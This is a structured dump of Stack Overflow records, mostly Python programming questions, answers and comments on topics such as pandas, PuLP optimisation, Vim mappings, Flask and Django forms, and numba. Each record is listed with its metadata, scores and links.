has body: I would like to maximize the probability of winning a raffle by buying a certain number of tickets. For this, I wrote the following code import numpy as np import math as mt from scipy.optimize import minimize from pulp import * def objective(tickets, winners = 500, losers = 2500, cost_of_ticket = 40, winning_amt = 1000): Pwin = 1 - mt.factorial(losers)//mt.factorial(losers - tickets)*mt.factorial(winners+losers-tickets)/mt.factorial(winners+losers) Ewin = Pwin*(winning_amt - cost_of_ticket*tickets) return Ewin # declare your variables tickets = LpVariable("tickets", range(0, 10)) # 0&lt;= tickets &lt;= 10 prob = LpProblem("problem", LpMaximize) #define the objective prob += objective(tickets) # solve the problem status = prob.solve(GLPK(msg=0)) LpStatus[status] # print the results value(tickets) The issue seems to be that the number of tickets that get passed into the objective function is not an integer (and the factorial function then fails). Can anyone suggest how I should ensure that the ticket is restricted to positive integer values? The answer, for checking, should be 8. I can do this by manually calling the objective function and checking.
accepted answer: http://stackoverflow.com/a/47359031
possible better answer: http://stackoverflow.com/a/47502686
has answer: http://stackoverflow.com/a/47359031
has comment: http://stackoverflow.com/comment/81637866
has answer: http://stackoverflow.com/a/47502686
has title: Python linear programming - how to constrain a variable to be an integer
type: Question

http://stackoverflow.com/comment/81414879
score: 0
comment on: http://stackoverflow.com/a/47226898
has text: This is very helpful- thank you. Do you know if there is a way to get more than 24 values at a time?(i.e override the paging:cursors:next?) I would like to get all values in one query
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81457021
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47253155
has text: It is a multiindex. It just doesn't look like it. So try `df.sort_index()` and see what its output looks like - you'll come to understand.

http://stackoverflow.com/a/47368479
has comment: http://stackoverflow.com/comment/81698829
upvote count: 3
downvote count: 0
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/81704602
has body: You need a visual mode mapping to operate on a visual selection. Normal mode mappings start with n, insert mode mappings start with i, and visual mode mappings start with x (yeah…). For this to work you will need :help :normal to execute your normal mode command on every line in the given range: xnoremap &lt;leader&gt;c :normal I#&lt;CR&gt; So… augroup myStuff autocmd! autocmd FileType python nnoremap &lt;buffer&gt; &lt;leader&gt;c I#&lt;esc&gt; autocmd FileType python xnoremap &lt;buffer&gt; &lt;leader&gt;c :normal I#&lt;CR&gt; augroup END
answers question: http://stackoverflow.com/q/47368034

http://stackoverflow.com/a/47379659
upvote count: 1
has body: Have the script write a timestamp to an external file and check that file at startup. Here is an example: import time def script_has_run_recently(seconds): filename = 'last-run-time.txt' current_time = int(time.time()) try: with open(filename, 'rt') as f: last_run = int(f.read().strip()) except (IOError, ValueError) as e: last_run = 0 if last_run + seconds &gt; current_time: return True else: with open(filename, 'wt') as f: f.write(str(current_time)) return False def main(): print('running the main function.') if __name__ == "__main__": seconds = 3600 # one hour in seconds if script_has_run_recently(seconds): print('you need to wait before you can run this again') else: main()
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47379461
has comment: http://stackoverflow.com/comment/81735981
downvote count: 0

http://stackoverflow.com/comment/81567654
comment on: http://stackoverflow.com/q/47308668
has text: `(1)` is not a tuple, it's an int object wrapped with parens. Python does without the comma when it can; minimal.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81579724
has text: If I read that right, counter is counting every object in the string, not just the vowels so wouldn't this get worse with bigger and bigger datasets? I amnot saying my code didn't work or wasn't efficient, I am just curious if there was a different, unknown to me yet way of doing this that would scale to any size dataset and say could be used to search for words in a book or whatever
type: Comment
comment on: http://stackoverflow.com/a/47277697
score: 0
type: AnswerComment

http://stackoverflow.com/a/47246533
answers question: http://stackoverflow.com/q/47246364
type: Answer
upvote count: 2
score: 2
downvote count: 0
has body: Move else clause of inner if form.is_valid() to outer if request.method == 'POST' and remove last return statement. Your signup view should look like. def signup(request): if request.method == 'POST': form = UserCreationForm(request.POST) if form.is_valid(): # process the data in form.cleaned_data as required # ... # redirect to a new URL: return redirect('login.html') else: form = UserCreationForm() return render(request, 'templates/signup_form.html', {'form': form}) Reference: https://docs.djangoproject.com/en/1.11/topics/forms/#the-view

http://stackoverflow.com/comment/81556427
type: QuestionComment
has text: @JLagana: Maybe it will take a separate document to be able to describe all the expectations around all the methods that your class expects to call.
comment on: http://stackoverflow.com/q/47261519
score: 0
type: Comment

http://stackoverflow.com/q/47342601
has answer: http://stackoverflow.com/a/47347244
tagged with: class
type: AnsweredQuestion
score: 0
tagged with: list
tagged with: instance
has answer: http://stackoverflow.com/a/47342630
accepted answer: http://stackoverflow.com/a/47342630
has body: here is the code, I'm confused: class Button(): def __init__(self, text): self.text = text bt1 = Button('123') bt2 = Button('3r5') bt3 = Button('123') bt4 = Button('1fe') bt5 = Button('123') bts = [] bts.extend((bt1,bt2,bt3,bt4,bt5)) bts.extend((bt1,bt2,bt3,bt4,bt5)) for bt in bts: if bt.text == '123': bts.remove(bt) for bt in bts: print(bt.text) And here is the results: 3r5 1fe 123 3r5 1fe My question is, why there is one element with text '123' not been removed?
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/81637428
possible better answer: http://stackoverflow.com/a/47347244
tagged with: python
has title: list remove function on class instance in a list not working properly

http://stackoverflow.com/a/47299328
has comment: http://stackoverflow.com/comment/81551352
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/81550877
has comment: http://stackoverflow.com/comment/81582092
has body: By using .any from pandas and the data frame from Brad df[~(df.iloc[:,2:]&gt;5).any(1)] Out[403]: a b c d e 0 0.0 0.0 0.0 0.0 0.0 2 0.0 0.0 0.0 0.0 0.0 3 0.0 0.0 0.0 0.0 0.0
has comment: http://stackoverflow.com/comment/81550809
upvote count: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47299118
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81581919
has comment: http://stackoverflow.com/comment/81550414
answers question: http://stackoverflow.com/q/47299118
has comment: http://stackoverflow.com/comment/81550678

http://stackoverflow.com/comment/81649163
has text: Sublime is showing me "Tab size:4".Does that mean if I press tab key once I will get 4 spaces? I used tab and spaces(both) while writing above code. Since "Tab size:4" equals to 4 times pressing of space bar.Why did I got error?I removed all the spaces created by tabs and used spaces created by space bar which fixed my problem.
type: AnswerComment
comment on: http://stackoverflow.com/a/47312874
score: 0
type: Comment

http://stackoverflow.com/comment/89046022
score: 1
type: QuestionComment
type: Comment
has text: @Rainald62 use `itertools.islice`
comment on: http://stackoverflow.com/q/47338547

http://stackoverflow.com/comment/81714164
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47380921
has text: Indent the `if` statements and their blocks that follow `elif subject==('History')`.

http://stackoverflow.com/comment/87512812
has text: Any feedback on this?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47259171

http://stackoverflow.com/comment/81516521
type: QuestionComment
comment on: http://stackoverflow.com/q/47282928
has text: @brunodesthuilliers i have just did
score: 0
type: Comment

http://stackoverflow.com/a/47370907
has comment: http://stackoverflow.com/comment/81727561
has comment: http://stackoverflow.com/comment/81751387
accepted answer of: http://stackoverflow.com/q/47225484
score: 3
answers question: http://stackoverflow.com/q/47225484
type: Answer
has body: You should write a custom extension for the GeoJSONDataSource Here is the coffeescript for GeoJSONDataSource https://github.com/bokeh/bokeh/blob/master/bokehjs/src/coffee/models/sources/geojson_data_source.coffee I am not very good with custom extension. So I just completely copied GeoJSONDataSource and called it CustomGeo instead. And I just moved the 'data' from @internal to @define. Then bingo, you got yourself a GeoJSONDataSource with a 'data' attribute. In the example below I did the callback using the 'key' list, but since you now have the data like this, you could write something to doublecheck that it corresponds to the appropriate polygon if you are worried about shuffling import pandas as pd import numpy as np from bokeh.core.properties import Instance, Dict, JSON, Any from bokeh import events from bokeh.models import (Select, Column, Row, ColumnDataSource, HoverTool, Range1d, LinearAxis, GeoJSONDataSource, ColumnarDataSource) from bokeh.plotting import figure from bokeh.io import curdoc import os import datetime from collections import OrderedDict def make_plot(src): # function to create the line chart p = figure(width=500, height=200, x_axis_type='datetime', title='Some parameter', tools=['xwheel_zoom', 'xpan'], logo=None, toolbar_location='below', toolbar_sticky=False) p.circle('index', 'var1', color='black', fill_alpha=0.2, size=10, source=src) return p def make_geo_plot(src): # function to create the spatial plot with polygons p = figure(width=300, height=300, title="Select area", tools=['tap', 'pan', 'box_zoom', 'wheel_zoom','reset'], logo=None) a=p.patches('xs', 'ys', fill_alpha=0.2, fill_color='black', line_color='black', line_width=0.5, source=src,name='poly') p.on_event(events.SelectionGeometry, update_plot_from_geo) return p def update_plot_from_geo(event): # update the line chart based on the selected polygon try: selected = geo_source.selected['1d']['indices'][0] except IndexError: return print geo_source.data print geo_source.data['key'][sele…
has comment: http://stackoverflow.com/comment/81751607
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81768188
type: AcceptedAnswer

http://stackoverflow.com/q/47338919
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47339370
has comment: http://stackoverflow.com/comment/81631319
answer count: 2
possible better answer: http://stackoverflow.com/a/47339229
tagged with: pandas
has answer: http://stackoverflow.com/a/47339370
upvote count: 0
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47339229
tagged with: matplotlib
tagged with: python
score: -1
has title: Matplotlib 3D Plot does not work as expected
has body: as a Python and Stackoverflow Newbie, please excuse my dumb question. I've been working on this quite some time without making progress. I'm trying to set up a 3D Plot with X Y Z vectors for the respective axes. import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from matplotlib import cm import numpy as np import pandas, io data = np.array([[0 ,0 ,1918], [1000 ,0 ,2001], [2000 ,0 ,2031], [3000 ,0 ,2048], [0 ,1000 ,2001], [1000 ,1000 ,2084], [2000 ,1000 ,2114], [3000 ,1000 ,2131], [0 ,2000 ,2031], [1000 ,2000 ,2114], [2000 ,2000 ,2144], [3000 ,2000 ,2161], [0 ,3000 ,2048], [1000 ,3000 ,2131], [2000 ,3000 ,2161], [3000 ,3000 ,2178]]) df = pandas.DataFrame(data,columns=["X","Y","Z"]) print(df) x, y = np.meshgrid(df['X'],df['Y']) plt.clf() fig = plt.figure() ax = fig.gca(projection='3d') myplot = ax.plot_surface(X=x,Y=y,Z=df['Z']) plt.show(myplot) The sample data has 16 data points. I understand that I have to transform the X and Y vectors into a 4x4 grid which defines each Z value in the space. This is what I try to achieve with np.meshgrid. The result should be a uniform area that with a constant slope from (0,0) towards (3000,3000). However, this is not what I see: Resulting Graph I'd be grateful for everybody pushing me in the right direction.
has comment: http://stackoverflow.com/comment/81630627

http://stackoverflow.com/a/47257146
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47257113
type: Answer
has body: You can do this like this, using a list comprehension inside a function: def make_sub(seq): return [[elt] for elt in seq] seq = ['a, b, c', 'hello, 1, 2, 3', '7, 8, hi'] print(make_sub(seq)) output: [['a, b, c'], ['hello, 1, 2, 3'], ['7, 8, hi']]

http://stackoverflow.com/q/47349884
tagged with: amazon-s3
tagged with: python
has body: I'd like to upload xml's directly to S3 without the use of modules like boto, boto3, or tinys3. So far I have written: url = "https://my-test-s3.s3.amazonaws.com" with open(xml_file,'rb') as data: requests.put(url, data=data) and I've gone and head and set the AllowedOrigin on my S3 bucket to accept my server's address. This does not error when running, however, it also does not seem to be uploading anything. Any help would be appreciated --- I'd like to (a) get the thing to upload and (b) figure out how to apply AWSAccessKey and AWSSecretAccessKey to the request
has comment: http://stackoverflow.com/comment/81652335
type: AnsweredQuestion
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/47350022
has answer: http://stackoverflow.com/a/47349976
has answer: http://stackoverflow.com/a/47350022
tagged with: python-requests
has title: Uploading to S3 using Python Requests
type: Question
possible better answer: http://stackoverflow.com/a/47349976
has comment: http://stackoverflow.com/comment/81651703

http://stackoverflow.com/comment/81716347
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47381865
has text: But for example if i use `obama = data.loc[35817]` and then `print(obama['text']` i get whole text as an output, not just "barack hussein obama ii brk husen bm born augu..."

http://stackoverflow.com/q/47324699
upvote count: 5
tagged with: group-by
has body: I have the below dataframe df: | Staff_ID | Join_Date | Time_Stamp | |----------|-----------|------------| | 1 | 3/29/2016 | 4/23/2016 | | 1 | 3/29/2016 | 3/29/2016 | | 1 | 3/29/2016 | 6/21/2016 | | 2 | 5/15/2016 | 4/1/2016 | | 2 | 5/15/2016 | 5/25/2016 | | 3 | 7/24/2016 | 6/21/2016 | | 3 | 7/24/2016 | 6/10/2016 | | 3 | 7/24/2016 | 4/21/2016 | I want to get the Min and Max "Time_Stamp Date" partition by "Staff_ID" such that the resultant dataframe is as follows: | Staff_ID | Join_Date | Time_Stamp | Min_Time_Stamp | Max_Time_Stamp | |----------|-----------|------------|----------------|----------------| | 1 | 3/29/2016 | 4/23/2016 | 3/29/2016 | 6/21/2016 | | 1 | 3/29/2016 | 3/29/2016 | 3/29/2016 | 6/21/2016 | | 1 | 3/29/2016 | 6/21/2016 | 3/29/2016 | 6/21/2016 | | 2 | 5/15/2016 | 4/1/2016 | 4/1/2016 | 5/25/2016 | | 2 | 5/15/2016 | 5/25/2016 | 4/1/2016 | 5/25/2016 | | 3 | 7/24/2016 | 6/21/2016 | 4/21/2016 | 6/21/2016 | | 3 | 7/24/2016 | 6/10/2016 | 4/21/2016 | 6/21/2016 | | 3 | 7/24/2016 | 4/21/2016 | 4/21/2016 | 6/21/2016 | How can I do this in Python ?
tagged with: python
has title: Python Partition By
tagged with: timestamp
answer count: 2
has answer: http://stackoverflow.com/a/47325289
has comment: http://stackoverflow.com/comment/81600116
tagged with: partition
downvote count: 0
has answer: http://stackoverflow.com/a/47332372
favorite count: 0
type: Question
score: 5
type: UnansweredQuestion

http://stackoverflow.com/a/47244675
type: Answer
has body: I'm using OpenCV 3.3 &gt;&gt;&gt; cv2.__version__ '3.3.0-dev' &gt;&gt;&gt; x = cv2.CascadeClassifier() &gt;&gt;&gt; x.detectMultiScale &lt;built-in method detectMultiScale of cv2.CascadeClassifier object at 0x7fea612cc0f0&gt; I do like this: Then I get this:
accepted answer of: http://stackoverflow.com/q/47244667
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47244667
score: 0

http://stackoverflow.com/a/47359780
has comment: http://stackoverflow.com/comment/81680333
accepted answer of: http://stackoverflow.com/q/47357870
has comment: http://stackoverflow.com/comment/81680813
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81680511
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/81703952
answers question: http://stackoverflow.com/q/47357870
has body: Question 1 Solution using a recursive floodfill algorithm: See the floodfill algorithm in this JavaScript demonstration I made. GitHub Source. I created a floodfill function first that works just like a paint program i.e. when given a point in an enclosed region, will fill in that region up to the border with a colour. Then, all that needed to be done was to go through each red pixel (value 1) and floodfill up to green pixels (value 2) with the colour of what index red dot we are on (so that we can get the regions separately later). Then, we simply use a version of your red_dots program that I modified to be a bit more generalised to get the result of all the coordinates of the white pixels. This last step is done in a one-liner. It converts everything to a big list where each sub-list contains coordinates of a region of white pixels. Note how we must end with a list at the end as this is not a rectangular shape so cannot use a numpy array (unless we use dtype=object). Anyway, here is the code: import numpy as np def inArrBounds(arr, c): return 0 &lt;= c[0] &lt; arr.shape[1] and 0 &lt;= c[1] &lt; arr.shape[0] def floodfill(arr, start, fillCol, edgeCol): if arr[start[1],start[0]] in (fillCol, edgeCol): return arr[start[1], start[0]] = fillCol for p in ((start[0]+1, start[1]), (start[0]-1, start[1]), (start[0], start[1]+1), (start[0], start[1]-1)): if inArrBounds(arr, p): floodfill(arr, p, fillCol, edgeCol) def coordsLtR(arr, val): pnts = np.where(arr == val) pnts = tuple(g[np.argsort(pnts[-1])] for g in pnts) pnts = np.stack(pnts)[::-1].T return pnts red_dots = coordsLtR(np_matrix, 1) for i, dot in enumerate(red_dots): floodfill(np_matrix, dot, i+4, 2) np_matrix[dot[1], dot[0]] = 1 regions = [coordsLtR(np_matrix,i+4)[:,::-1].tolist() for i in range(len(red_dots))] which creates the regions list as: [[17, 0], [18, 0], [20, 0], [21, 0], [22, 0], [17, 1], [18, 1], [19, 1], [20, 1], [21, 1], [22, 1], [18, 2], [19, 2], [20, 2], [21, 2]] [[4, 7], [6, 7], [5, 7], [3, 8], [7…
has comment: http://stackoverflow.com/comment/81680649
has comment: http://stackoverflow.com/comment/81680384
has comment: http://stackoverflow.com/comment/81680588
has comment: http://stackoverflow.com/comment/81688556
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81680030
has comment: http://stackoverflow.com/comment/81680349

pycharm
tags question: http://stackoverflow.com/q/47242180
tags question: http://stackoverflow.com/q/47321346
tags question: http://stackoverflow.com/q/47302189
tags question: http://stackoverflow.com/q/47250110
tags question: http://stackoverflow.com/q/47314665
tags question: http://stackoverflow.com/q/47266003
tags question: http://stackoverflow.com/q/47257766
tags question: http://stackoverflow.com/q/47342083
tags question: http://stackoverflow.com/q/47341503
tags question: http://stackoverflow.com/q/47254252
tags question: http://stackoverflow.com/q/47255112
tags question: http://stackoverflow.com/q/47317929
tags question: http://stackoverflow.com/q/47271195
tags question: http://stackoverflow.com/q/47235869
tags question: http://stackoverflow.com/q/47242247
tag name: pycharm
tags question: http://stackoverflow.com/q/47370238
tags question: http://stackoverflow.com/q/47240047
tags question: http://stackoverflow.com/q/47361956
tags question: http://stackoverflow.com/q/47342645
tags question: http://stackoverflow.com/q/47256630
tags question: http://stackoverflow.com/q/47248644
tags question: http://stackoverflow.com/q/47316193
type: Tag
tags question: http://stackoverflow.com/q/47323570
tags question: http://stackoverflow.com/q/47267105
tags question: http://stackoverflow.com/q/47304134
tags question: http://stackoverflow.com/q/47310767
tags question: http://stackoverflow.com/q/47252202
tags question: http://stackoverflow.com/q/47346939
tags question: http://stackoverflow.com/q/47304420
tags question: http://stackoverflow.com/q/47232250
tags question: http://stackoverflow.com/q/47267077
tags question: http://stackoverflow.com/q/47302648
tags question: http://stackoverflow.com/q/47323898
tags question: http://stackoverflow.com/q/47380613
tags question: http://stackoverflow.com/q/47347432
tags question: http://stackoverflow.com/q/47337009

http://stackoverflow.com/comment/81623365
has text: You could try a format file to match the fields. bcp expects date as '2017-10-31' or '20171031'. If you leave out '-c' option, then bcp will prompt you for the type of each column in database. You can use DATE to see if it solves your problem. The format file can be saved and used with a '-f' option. Hope this helps.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47320720

http://stackoverflow.com/a/47290901
has body: It seems from your posted code that a step occurs when abs(array[i]-array[i+1]) &gt; 6. You can use this: final = [] current = [] arr = [101, 107, 106, 199, 204, 205, 207, 306, 310, 312, 312, 314, 317, 318, 380, 377, 379, 382, 466, 469, 471, 472, 557, 559, 562, 566, 569] for i in range(len(arr)-1): if abs(arr[i] - arr[i+1]) &gt; 6: current.append(arr[i]) final.append(current) current = [] else: current.append(arr[i]) Output: [[101, 107, 106], [199, 204, 205, 207], [306, 310, 312, 312, 314, 317, 318], [380, 377, 379, 382], [466, 469, 471, 472]]
has comment: http://stackoverflow.com/comment/81532774
has comment: http://stackoverflow.com/comment/81532835
type: Answer
answers question: http://stackoverflow.com/q/47290732
score: 0
upvote count: 2
downvote count: 2

http://stackoverflow.com/comment/81656169
type: Comment
type: QuestionComment
has text: Why are you using a dictionary in the first place when all the key names are just an enumeration? Use a list.
score: 0
comment on: http://stackoverflow.com/q/47351987

http://stackoverflow.com/comment/81544133
type: AnswerComment
has text: hmm this is exactly what I'm looking for, but unfortunately, when I reinstall imdbpy and I run the code exactly as written and I get the following output: `median None arithmetic mean None number of votes None demographics None`
type: Comment
comment on: http://stackoverflow.com/a/47274929
score: 0

http://stackoverflow.com/a/47284190
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47284102
downvote count: 0
has body: filter doesn't return a dictionary. It returns a list in Python 2 and a filter object in Python 3. You can use dict.pop: d = {'a': 1, 'b': 2} print(d) # {'a': 1, 'b': 2} d.pop('b') print(d) # {'a': 1} And in your specific case, dict_HMDB_ID.pop(float('NaN')) For the sake of completeness. it could be done with a dictionary comprehension but there is no point in iterating since keys are unique anyway clean_dict = {k: v for k, v in dict_HMDB_ID.items() if not math.isnan(k)} If you insist on using filter here (you really shouldn't) you will need to: pass it dict_HMDB_ID.items() so it will keep the original values provide a custom function because it will now operate on (key, value) tuples. transform the returned filter object (it will contain an iterator with (key, value) tuples) back to a dictionary import math dict_HMDB_ID = {1: 'a', float('Nan'): 'b'} clean_dict = dict(filter(lambda tup: not math.isnan(tup[0]), dict_HMDB_ID.items())) print(clean_dict) # {1: 'a'} I should probably mention that the first approach (.pop) directly modifies the dict_HMDB_ID while the other two create a new dictionary. If you wish to use .pop and create a new dictionary (leaving dict_HMDB_ID as it is) you can create a new dictionary with dict: d = {'a': 1, 'b': 2} new_d = dict(d) new_d.pop('b') print(d) # {'b': 2, 'a': 1} print(new_d) # {'a': 1}

http://stackoverflow.com/q/47361578
has body: I am new to Stack Overflow and Python. I am developing for Visual Effects, which means that I am (and will continue) using Python 2.7. I'm a bit lost and looking for clear instructions on how to install pyqt5. I know this seems pretty elementary, so I appreciate everyone's patience. There is a lot of information on this subject like, you need QT5 or Scintilla? A lot of the instructions are fragmented and don't have all of the information. I was wondering if someone could point me in the right direction with clear and concise instructions. For example: Install Python 2.7 Install x ... ... ... I'm willing to figure it out myself, but I feel the information I have has a lot of holes and could use some help/direction. Thanks in advance.
answer count: 1
tagged with: pyqt5
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81676738
has answer: http://stackoverflow.com/a/47361609
type: UnansweredQuestion
has title: Installing Qt5 and PyQt5 for Python 2.7
tagged with: python
has comment: http://stackoverflow.com/comment/81676374
tagged with: qt5
favorite count: 0
has comment: http://stackoverflow.com/comment/81676221
score: 2
tagged with: python-2.7
downvote count: 0
has comment: http://stackoverflow.com/comment/81681006

http://stackoverflow.com/q/47264343
tagged with: conditional-statements
favorite count: 0
has body: If I try to compile a function, containing an array of conditions, with numba's jit-compiler, it takes very long. The program looks essentially like from numba import jit import numpy as np @jit(nopython=True) def foo(a, b): valid = [ (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0), (a - 1 &gt;= 0) and (b - 1 &gt;= 0) ] foo(1, 1) where I have excluded everything that will not alter the compilation time significantly. The problem arises if I use more than 20 elements. | elements | time | ------------------- | 21 | 2.7s | | 22 | 5.1s | | 23 | 10s | | ... | ... | ------------------- Despite that, the function workes well. Does anybody know, why it takes so long, to compile such function with numba? Creating arrays in a similar way with combinations of integers or floats causes no problem.
type: Question
has answer: http://stackoverflow.com/a/47293732
tagged with: jit
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/81505835
has comment: http://stackoverflow.com/comment/81534574
tagged with: time
tagged with: numba
answer count: 1
downvote count: 0
tagged with: python
has title: The compilation of an array of conditions with numba.jit takes a long time
accepted answer: http://stackoverflow.com/a/47293732
type: AnsweredQuestion

http://stackoverflow.com/a/47365796
has comment: http://stackoverflow.com/comment/81684272
has comment: http://stackoverflow.com/comment/81684502
has comment: http://stackoverflow.com/comment/81684454
has comment: http://stackoverflow.com/comment/81684380
answers question: http://stackoverflow.com/q/47365785
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/81684323
upvote count: 2
has body: You can use a list-comprehension with enumerate(). With thanks to @MikeScotty, a performance improvement would be to calculate the smallest value first. Here's the code: mn = min(A) [i for i,e in enumerate(A) if e == mn] which gives: [2, 5] which are the indexes of the 1s in A - not [2, 8] To prove this is faster, here's the minx wrapper: &gt;&gt;&gt; def minx(l): ... print("called") ... return min(l) ... &gt;&gt;&gt; [i for i,e in enumerate(A) if e == minx(A)] called called called called called called called called called [2, 5] And some timings using timeit: &gt;&gt;&gt; timeit.timeit("[i for i,e in enumerate(A) if e == min(A)]", globals=locals()) 5.9568054789997404 &gt;&gt;&gt; timeit.timeit("[i for i,e in enumerate(A) if e == 1]", globals=locals()) 1.397674421001284
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47365785

http://stackoverflow.com/comment/81600359
score: 0
type: Comment
type: QuestionComment
has text: Fun fact: if Python 3, `import sys.intern as intern`, then `intern(x) is intern(y)` gives `True`; basically you force Python to eliminate duplicates. See [this other dup](https://stackoverflow.com/q/15541404/1270789) for more details.
comment on: http://stackoverflow.com/q/47324767

http://stackoverflow.com/a/47376691
has comment: http://stackoverflow.com/comment/81734041
has comment: http://stackoverflow.com/comment/81754398
has comment: http://stackoverflow.com/comment/81726019
downvote count: 0
score: 1
upvote count: 1
has body: Use the str[index] since you are splitting the series, the output will also be a series and not two different lists in pandas. df = pd.DataFrame({'timestamp':['2016-01-01 00:02:16','2016-01-01 00:02:16'] }) split1,split2 = df.timestamp.str.split(' ')[0], df.timestamp.str.split(' ')[1] str.split will return a series for example df.timestamp.str.split(' ') 0 [2016-01-01, 00:02:16] 1 [2016-01-01, 00:02:16] Name: timestamp, dtype: object
has comment: http://stackoverflow.com/comment/81734150
answers question: http://stackoverflow.com/q/47376642
type: Answer
has comment: http://stackoverflow.com/comment/81726242
has comment: http://stackoverflow.com/comment/81727580
has comment: http://stackoverflow.com/comment/81728094

http://stackoverflow.com/a/47279335
has body: For larger arrays it might help to use pandas' groupby and cumcount: In [11]: df1 = pd.DataFrame(arr1) In [12]: df1["cumcount"] = df1.groupby([0, 1, 2]).cumcount() In [13]: df1 Out[13]: 0 1 2 cumcount 0 100 100 100 0 1 255 255 255 0 In [14]: df2 = pd.DataFrame(arr2) In [15]: df2["cumcount"] = df2.groupby([0, 1, 2]).cumcount() In [16]: df2 Out[16]: 0 1 2 cumcount 0 255 255 255 0 1 255 255 255 1 Now a merge gets you the array you desire: In [21]: df1.merge(df1).iloc[:, :3].values Out[21]: array([[100, 100, 100], [255, 255, 255]]) In [22]: df1.merge(df2).iloc[:, :3].values Out[22]: array([[255, 255, 255]]) In [23]: df2.merge(df2).iloc[:, :3].values Out[23]: array([[255, 255, 255], [255, 255, 255]])
answers question: http://stackoverflow.com/q/47276494
score: 0
type: Answer

http://stackoverflow.com/comment/81849173
comment on: http://stackoverflow.com/q/47277393
has text: I removed all the migrations and also db.sqlite3. now, I am not able to run any migrations
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81400414
score: 2
has text: Are you looking for [`zip`](https://docs.python.org/3.4/library/functions.html#zip)?
comment on: http://stackoverflow.com/q/47225219
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81569330
comment on: http://stackoverflow.com/q/47309376
has text: does your CSV have column names and what is the column name of the target `y` column?
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47238087
tagged with: flask-sqlalchemy
favorite count: 0
type: Question
has body: I am trying to get Bootstrap Forms working with my Python Flask Web-app but I am having difficulty getting it to work the way I want it to. It is currently set up so that when a user signs up their details are stored in the database using SQLAlchemy and SQLite3. It currently doesn't seem to do that. Originally I had the code setup using flask_bootstrap but I would prefer to use local bootstrap files instead which I would have located in the static folder. I have included the original files I have been working from which are the original app.py and original signup.html. I have also included the new files I have been trying to create which are the new app.py and new signup.htm to help with the reproduction of this app. Thanks in advance! Original app.py File from flask import Flask, render_template, redirect, url_for from flask_bootstrap import Bootstrap from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField from wtforms.validators import InputRequired, Email, Length from flask_sqlalchemy import SQLAlchemy from werkzeug.security import generate_password_hash, check_password_hash from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user app = Flask(__name__) app.config['SECRET_KEY'] = 'Thisissupposedtobesecret!' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////Users/Joanna/Desktop/login2/database.db' Bootstrap(app) db = SQLAlchemy(app) login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(15), unique=True) email = db.Column(db.String(50), unique=True) password = db.Column(db.String(80)) @login_manager.user_loader def load_user(user_id): return User.query.get(int(user_id)) class LoginForm(FlaskForm): username = StringField('username', validators=[InputRequired(), Length(min=4, max=15)]) password = PasswordField('password', validators=[Inpu…
tagged with: twitter-bootstrap
tagged with: python
tagged with: flask
has answer: http://stackoverflow.com/a/47238387
accepted answer: http://stackoverflow.com/a/47238387
type: AnsweredQuestion
downvote count: 0
has title: Setting up Bootstrap Forms with SQLAlchemy
upvote count: 1
score: 1
tagged with: sqlite
answer count: 1

http://stackoverflow.com/a/47225109
type: AcceptedAnswer
